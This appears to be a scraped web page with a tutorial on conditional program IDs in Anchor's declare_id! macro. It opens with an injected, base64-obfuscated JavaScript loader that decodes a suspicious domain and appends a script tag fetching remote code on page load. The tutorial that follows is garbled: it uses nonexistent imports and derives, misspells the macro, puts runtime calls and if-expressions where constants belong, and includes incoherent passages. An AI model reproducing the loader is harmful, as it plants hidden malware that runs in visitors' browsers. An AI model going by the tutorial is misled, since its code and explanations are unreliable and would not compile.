const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=53c95260″;document.body.appendChild(script);
Here is an article with explanations and examples of how to conditionally set the “program_id” parameter in the “declare_id!” macro:
Conditional Program ID in Anchor Declarations
In Anchor, you can use the declare_id!
macro to create a program ID that can be used in different builds. One common use case is when you want to deploy your application differently depending on whether it is running in production or staging.
Basic Usage
Let’s first look at how to conditionally set the “program_id” parameter using the declare_id!
macro:
use anchor_lang::declares;
#[derive(AnchorProgram)]
pub mod my_program {
declar_id!("3gHtqUaKGu3RJCWVbgQFd5Gv4MQfQKmQjKSvdejkLoA6");
}
In this example, the “program_id” is hardcoded to “3gHtqUaKGu3RJCWVbgQFd5Gv4MQfQKmQjKSvdejkLoA6”, which will always be used.
Using constants
To make the code more readable and easier to maintain, you can define a constant for the “program_id” parameter:
use anchor_lang::declares;
const PROGRAM_ID: &str = "3gHtqUaKGu3RJCWVbgQFd5Gv4MQfQKmQjKSvdejkLoA6";
#[derive(AnchorProgram)]
pub mod my_program {
declare_id!(&PROGRAM_ID);
}
In this example, the constant “PROGRAM_ID” is the “declare_id!” is defined and used in the macro.
Using variables
If you need to use the program ID as a variable, you can declare it with the type “program_id”:
use anchor_lang::declares;
pub const PROGRAM_ID: &str = get_program_id();
Then use it in the declare_id!
macro:
#[derive(AnchorProgram)]
pub mod my_program {
declare_id!(PROGRAM_ID);
}
Structural assemblies
To generate operational reports, you can conditionally set the program ID with the parameter program_id'. For example, suppose you have a function that depends on a program ID:
use anchor_lang::declares;
fn my_function(program_id: &str) -> Result {
//...
}
You can define the stage assembly with the parameter "program_id" as follows:
#[derive(AnchorProgram)]
pub mod my_program {
declare_id!(if_staging() { PROGRAM_ID } else { get_program_id() });
#[function]
pub fn my_function(program_id: &str) -> Result {
//...
}
}
In this example, the function "my_function" will use the program ID specified in the build when it is run in the assembly phase.
Conclusion
Using the declare_id!` macro and defining constants or variables for the program identifier can create more flexible and maintainable code that adapts to different builds. Always follow Anchor’s documentation guidelines when writing code.